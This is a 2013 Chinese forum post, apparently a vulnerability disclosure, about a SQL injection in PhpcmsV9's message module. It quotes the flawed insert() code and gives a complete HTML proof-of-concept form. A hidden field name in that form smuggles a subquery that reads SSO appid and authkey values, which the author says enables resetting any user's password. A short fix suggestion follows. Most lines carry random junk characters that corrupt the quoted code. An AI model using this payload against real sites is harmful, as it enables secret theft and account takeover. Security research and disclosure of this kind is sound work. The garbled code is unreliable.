找回密码
 立即注册
查看: 2598|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
* k8 }. A& \  P8 O
; h  V$ X' b& i第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
' P/ o; l0 D% r; U  ]) _& s
, b3 b& v8 q. L. o% \0 i' D明天再更新下一个漏洞。
7 }  h# D/ q! y) _详细说明:
3 F7 m$ m3 Y/ z( ?1 D* A# Y+ h% C+ l在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 p1 o) m/ M  W. ~  H5 J: B! A2 `9 l& v) K9 ?& ^
$messageid = $this->message_db->insert($_POST['info'],true);! j  E0 g& ?7 s& {& Z- ^# p# z% R
0 W! ?& k& C) ~

1 H! G! R: e% R* [. z. ^3 D: Yinsert方法是key value的,代码如下:6 C0 I$ c; J5 s$ a( {$ |

( t. }0 j7 {4 K) dpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
( K* l/ V* U1 F" \                if(!is_array( $data ) || $table == '' || count($data) == 0) {! M' ~, g) ^3 ~2 ]. Z' z
                        return false;
; H! w7 P- A8 w& e/ e. V* I: A' \                }- {$ K( O" H5 _
               
1 f/ u4 Z' v1 l0 H                $fielddata = array_keys($data);
' I" m% L8 F& Y, Q                $valuedata = array_values($data);
/ [0 U$ s& U0 S  T0 h  L0 {                array_walk($fielddata, array($this, 'add_special_char'));5 N% t+ v1 R% `9 U6 e9 g4 C' I
                array_walk($valuedata, array($this, 'escape_string'));
/ |$ M4 F" i$ F8 G: {* T               
! z6 M( R; {- |                $field = implode (',', $fielddata);: y1 J, o$ K* ^3 H% `& N
                $value = implode (',', $valuedata);
+ w& }( k' `/ E8 v7 @  o1 e+ y4 P! T9 B. t. |
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
# ?4 A$ X1 ^9 E2 b0 [/ c# p# `                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';! Y7 @( V% d" W+ p. g3 b
                $return = $this->execute($sql);
1 A& Q/ O/ T1 _! `2 D4 V                return $return_insert_id ? $this->insert_id() : $return;
: u9 K4 F0 v( n. P% e! u        }
  w$ T2 w8 ~2 [, T/ ?  C" w4 `8 h2 {0 ?+ q- Y3 y$ w0 v# a) ^
& k$ n6 J* s% j8 B5 J
嗯,很遗憾的是
( S2 `, j+ q/ f: O6 {& z& V' o( {- c6 E+ f) _
array_walk($fielddata, array($this, 'add_special_char'));3 R+ S3 I5 ~, w, M; Y

* o" [* y5 ]6 S( p, z! X- i- i: |
6 p  u% |9 K1 y- z. h8 Y! u  D中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
# N, Q  V+ m- v4 e/ @& }7 ~
  n8 c% p6 M: `到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 R2 D( n7 F+ a) K
& H7 c- \- k/ |( V* G4 s
漏洞证明:
9 W: H  _- n' ~读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。# F5 c, p$ {- U' z

% C% H6 ^& X7 N7 }' m8 n
; D/ ]+ M! m# J" O3 g, |/ r表单如下:用户名什么的得自己改一改。) s$ \) J) O0 B# N/ g( X
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">8 Y7 ]+ t! I; O* {6 s7 t( D
<table width="100%" cellspacing="0" class="table_form">
& I4 ^1 s, _& T5 H<tr>
7 z, y: G+ x9 A9 W4 X<th>标 题:</th>
% o4 [4 u8 k/ L) o<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>% O. @' A1 J5 p4 K9 J7 ?% Y1 t
</tr>
0 W# O, g! }1 S<tr>! l/ j9 T8 j6 W  a# o
<th>内 容:</th>
8 A0 G0 m- q6 o  M$ z9 x<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td># o% {: ^" V& E( K8 k7 i" G( C! ^1 p
</tr>! u0 K. X6 ]9 P( ]2 I1 Y& q- B
<input type="hidden" name="info[replyid]" value="2" />
1 s, f, _0 y" I* _7 R<input type="hidden" name="info[send_to_id]" value="cc" />
8 U( Z! o( `- _5 ?, ^<input type="hidden" name="info[send_from_id]" value="hh">7 V  j" ]- G6 j, P9 p
<!-- 漏洞的利用重点在这里开始 -->
6 G) X$ B; \4 e6 \  E" }<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
2 ]2 A  }! D9 @; \. r$ x- d% U<!-- 漏洞的利用重点在这里结束 -->
1 R/ N9 ?0 s) B9 f, u<tr>- }$ _0 h9 x6 j; r! q
<th>验证码:</th>, V$ P0 @% S+ L
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>' a" ^& B2 {. |3 i7 R" U
</tr>0 R! E* C1 k, d+ H8 \0 x
<tr>. N2 O( v5 [  f5 k+ @: |
<td></td>- y* u  n2 A( ]; s) M; Q6 [7 u
<td colspan="2"><label>
- a5 j0 l3 C9 w<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 R$ A2 }& [7 [9 z+ z7 G
</label></td>
; g) x' P0 v* c% u+ M2 f</tr>+ g" U- w! x* c8 G1 O% {6 J
</table># u, y7 B& Z' \0 t$ j  r% I* l
</form>% ^( f% C) S" x& t" W( [
在add_special_char函数内对key做过滤就可以了。5 o8 W# v5 f; M+ B7 x* z0 c( ^& i

; w5 a0 ?# ]  N( o9 S& \2 _. X; ~! ~7 R7 F1 C% r7 E
% C* _. `: s/ I9 Y' U# P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表